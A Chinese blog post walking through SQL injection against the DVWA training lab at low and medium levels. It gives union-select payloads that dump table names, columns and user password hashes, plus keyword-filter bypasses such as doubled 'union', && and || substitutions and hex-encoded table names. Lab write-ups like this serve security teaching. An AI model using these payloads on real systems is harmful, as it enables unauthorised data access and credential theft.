首页 > 数据库 >DVWA SQL Injection注入

DVWA SQL Injection注入

时间:2023-12-08 23:01:08浏览次数:46  
标签:union DVWA YY SQL Injection id select 注入

SQL注入步骤:

寻找注入点

判断注入点类型,是数字型还是字符型

如果是字符型则根据真假页面或者报错语句判断闭合方式

判断回显列数 group by/order by

判断回显位 union select 并且将前面的语句判定为假值

获取数据库名

获取数据库的表名

获取数据库中表的字段名

获取数据库中表的字段值

DVWA SQL Injection——low

这里输入1和输入1 and 1=2输出结果一样,证明不是数字型注入,基本可以判断为字符型注入。

DVWA SQL Injection注入_输入框

DVWA SQL Injection注入_输入框_02


如何判断数字型注入和字符型注入

SQL注入格式:http://xxx.xxx.xxx/abc.php?id=YY

§ 字符型SQL注入

• id=YY’

– SQL语句:select * from 表名 where 字段= 'YY'', abc.asp运行异常;

• id=YY’ and ‘1’=‘1,abc.asp运行正常,与id=YY页面相同

– SQL语句:select * from 表名 where 字段= 'YY' and '1' = '1'

• id=YY’ and ‘1’=‘2 与 id=YY 页面不同,出现异常

– SQL语句:select * from 表名 where 字段= 'YY' and '1' = ‘2’

• 或 id=YY and 1 like 1/ and 1 like 2

• 以上3条都满足,则abc.php存在SQL注入漏洞

§ 数字型SQL注入

• id=YY’ 页面异常

• id=YY and 1=1 与 id=YY 页面相同

• id=YY and 1=2 与 id=YY 页面不同,出现异常

• 以上3条都满足,则abc.php存在SQL注入漏洞


DVWA SQL Injection注入_输入框_03

输入1' or 1=1-- ,能得到正确的返回结果,说明为字符型注入。

常用注释符:-- ,--+, #, %23, %00, /*等

判断select字段数

order by的作用是对字段进行排序,如order by 5,根据第五个字段 进行排序,如果一共有4个字段,输入order by 5系统就会报错不 知道怎么排序,所以可以用order by来判断有多少个字段。

DVWA SQL Injection注入_输入框_04

DVWA SQL Injection注入_字段_05

说明存在两列。

判断可显示的注入点

DVWA SQL Injection注入_字段_06

尝试获取数据库信息

查看当前数据库版本

DVWA SQL Injection注入_SQL_07

查看当前数据库名

DVWA SQL Injection注入_SQL_08

获取DVWA数据库中的表名

在输入框中输入

1' union select group_concat(table_name), 2 from information_schema.tables where

table_schema='dvwa'#

DVWA SQL Injection注入_输入框_09

获取字段名

在输入框中输入1’ union select group_concat(column_name),2  

from information_schema.columns where table_schema='dvwa' and  

table_name='users'#,点击“Submit”

DVWA SQL Injection注入_输入框_10

获取用户账户和密码

在输入框中输入1' union select  group_concat(user,':',password),2 from users#,点击“Submit

DVWA SQL Injection注入_输入框_11

使用md5解密工具可以得到明文

DVWA SQL Injection注入_SQL_12

DVWA SQL Injection注入_SQL_13

DVWA SQL Injection注入_字段_14

DVWA SQL Injection注入_SQL_15

DVWA SQL Injection注入_输入框_16

联合查询注入bypass

过滤了union等关键字

如果用的是str_ireplace(), 可双写绕过uunionnion

过滤了or and等关键字

and=&&

or=||

过滤了空格

利用+号绕过

DVWA SQL Injection——medium

DVWA SQL Injection注入_字段_17

从页面可以看出无法进行输入,只能使用抓包软件试试了

DVWA SQL Injection注入_字段_18

DVWA SQL Injection注入_输入框_19

DVWA SQL Injection注入_输入框_20

说明存在数字型注入

DVWA SQL Injection注入_输入框_21

DVWA SQL Injection注入_字段_22

DVWA SQL Injection注入_输入框_23

DVWA SQL Injection注入_字段_24

DVWA SQL Injection注入_SQL_25

DVWA SQL Injection注入_输入框_26

猜测字段

DVWA SQL Injection注入_输入框_27

DVWA SQL Injection注入_字段_28

DVWA SQL Injection注入_SQL_29

DVWA SQL Injection注入_输入框_30

枚举所有数据库

DVWA SQL Injection注入_SQL_31


 

DVWA SQL Injection注入_字段_32

获取DVWA数据库中的表名

在输入框中输入1 union select  

group_concat(table_name), 2 from information_schema.tables where  

table_schema='dvwa'#

DVWA SQL Injection注入_字段_33

DVWA SQL Injection注入_输入框_34

将ASCII码转成16进制格式转换

DVWA SQL Injection注入_字段_35

DVWA SQL Injection注入_输入框_36

获取字段名

同样将users转化为为16进制实现绕过

在输入框中输入1 union select  

group_concat(column_name),2 from information_schema.columns where  

table_name=0x7573657273#

DVWA SQL Injection注入_SQL_37

DVWA SQL Injection注入_SQL_38

获取用户账户和密码

在输入框中输入1 union select  

group_concat(user,0x35,password),2 from users

DVWA SQL Injection注入_字段_39

DVWA SQL Injection注入_SQL_40

标签:union,DVWA,YY,SQL,Injection,id,select,注入
From: https://blog.51cto.com/heliotopekxy/8742162

相关文章

  • 【sqli-labs】 page-4 Less 54-65
    sqli-labs1-65【sqli-labs】page-1Less1-22【sqli-labs】page-2Less23-37【sqli-labs】page-3Less38-53【sqli-labs】page-4Less54-65十四步之内获取keyLess-541)确定闭合?id=1' #报错,猜测单引号闭合?id=1'' #验证?id=2'and1='1 #确定是否使用......
  • 【sqli-labs】 page-3 Less 38-53
    sqli-labs1-65【sqli-labs】page-1Less1-22【sqli-labs】page-2Less23-37【sqli-labs】page-3Less38-53【sqli-labs】page-4Less54-65堆叠注入核心函数:mysqli_multi_query函数概念:执行多条语句(增删查改)#增删改查语法#增insertinto[表名](column1,......
  • 【sqli-labs】 page-2 Less 23-37
    sqli-labs1-65【sqli-labs】page-1Less1-22【sqli-labs】page-2Less23-37【sqli-labs】page-3Less38-53【sqli-labs】page-4Less54-65WAF绕过Less-23漏洞验证http://192.168.124.16:8080/Less-23/?id=1' #错误http://192.168.124.16:8080/Less-23/?id=......
  • 虚拟机安装MySQL报错
    错误——mysql-community-common(x86-64)=5.7.28-1.el7被mysql-community-server-5.7.28-1.el7.x86_64需要 等可以通过yumremove-ymysql-libs命令解决  再之后正常操作就可以下载各种.rpm了 这个错解决了将近一天!(不知道为什么之前的解决方案不管用......
  • 彻底删除mysql
    虚拟机安装MySQL时一直报错,猜测是因为对MySQL进行了多次的卸载安装+操作不彻底因此查找了资料 以下是卸载MySQL的一般步骤:1停止MySQL服务首先需要停止MySQL服务。在Linux系统中,可以使用以下命令停止MySQL服务:sudoservicemysqlstop在Windows系统中,可以通过服务管理器停止......
  • SQL FOREIGN KEY 约束- 保障表之间关系完整性的关键规则
    SQLFOREIGNKEY约束SQLFOREIGNKEY约束用于防止破坏表之间关系的操作。FOREIGNKEY是一张表中的字段(或字段集合),它引用另一张表中的主键。具有外键的表称为子表,具有主键的表称为被引用表或父表。以下是两个表的例子:Persons表PersonIDLastNameFirstNameAge1......
  • SQL FOREIGN KEY 约束- 保障表之间关系完整性的关键规则
    SQLFOREIGNKEY约束SQLFOREIGNKEY约束用于防止破坏表之间关系的操作。FOREIGNKEY是一张表中的字段(或字段集合),它引用另一张表中的主键。具有外键的表称为子表,具有主键的表称为被引用表或父表。以下是两个表的例子:Persons表PersonIDLastNameFirstNameAge1......
  • Mysql的事务操作问题
    什么是数据库事务?一组sql语句组成的数据库逻辑处理单元,在这组的sql操作中,要么全部执行成功,要么全部执行失败。事务支持是在引擎层实现的。MySQL原生的MyISAM引擎不支持事务,这也是MyISAM被InnoDB取代的重要原因之一。你能说一说Redo/Undo机制吗?Redo/Undo机制比较简单,它们将所......
  • mysql慢查询分析
    一、实用druid自带web管理页面查看Druid是一个开源的高性能数据库连接池,由阿里巴巴集团开发并开源,主要用于Java应用程序中与数据库的连接管理和资源池化。它提供了一系列功能和配置选项,旨在提供高效、可靠的数据库连接管理。特性和功能:高性能:Druid连接池通过一些优化策略实现高性......
  • 使用django连接MySQL
    使用python311+pycharm社区版+MySQL80,使用django连接MySQL1.下载1.1.官网下载pythonhttps://www.python.org/downloads/如我的python3.11.4,可以进入如下的页面进行hash校验https://www.python.org/downloads/release/python-3114/1.2.官网下载pycharmhttps://www.......